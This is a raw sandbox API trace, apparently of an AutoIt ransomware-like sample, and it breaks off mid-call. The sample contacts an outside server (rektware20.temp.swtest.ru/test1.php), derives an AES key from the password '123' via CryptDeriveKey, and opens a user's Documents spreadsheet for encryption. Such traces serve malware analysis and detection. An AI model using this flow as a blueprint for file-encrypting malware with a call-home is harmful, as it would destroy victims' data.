CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZGdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GdG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.751] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dG.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.752] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.752] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.752] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.752] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.752] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.752] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.752] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.752] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.752] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c) returned 1 [0070.752] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.752] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.752] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.752] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.752] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.752] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.753] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.753] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.753] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.753] CloseHandle (hObject=0x0) returned 0 [0070.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.753] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.753] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.753] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.753] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.753] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.754] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.754] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.754] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.754] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.754] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.754] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.754] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.754] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.754] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.754] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.754] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.755] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.755] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0070.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.755] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.755] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.755] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.755] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.755] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.756] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.756] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.756] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.756] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.756] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.756] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.756] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.757] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.757] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.757] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.757] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.757] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.757] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.758] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.758] CryptHashData (hHash=0x164c4f0, pbData=0x1629440, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.758] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.759] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.759] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0070.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.759] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.759] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.759] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.759] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.760] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0070.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.760] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\NZGdG.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\nzgdg.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.760] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.760] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, 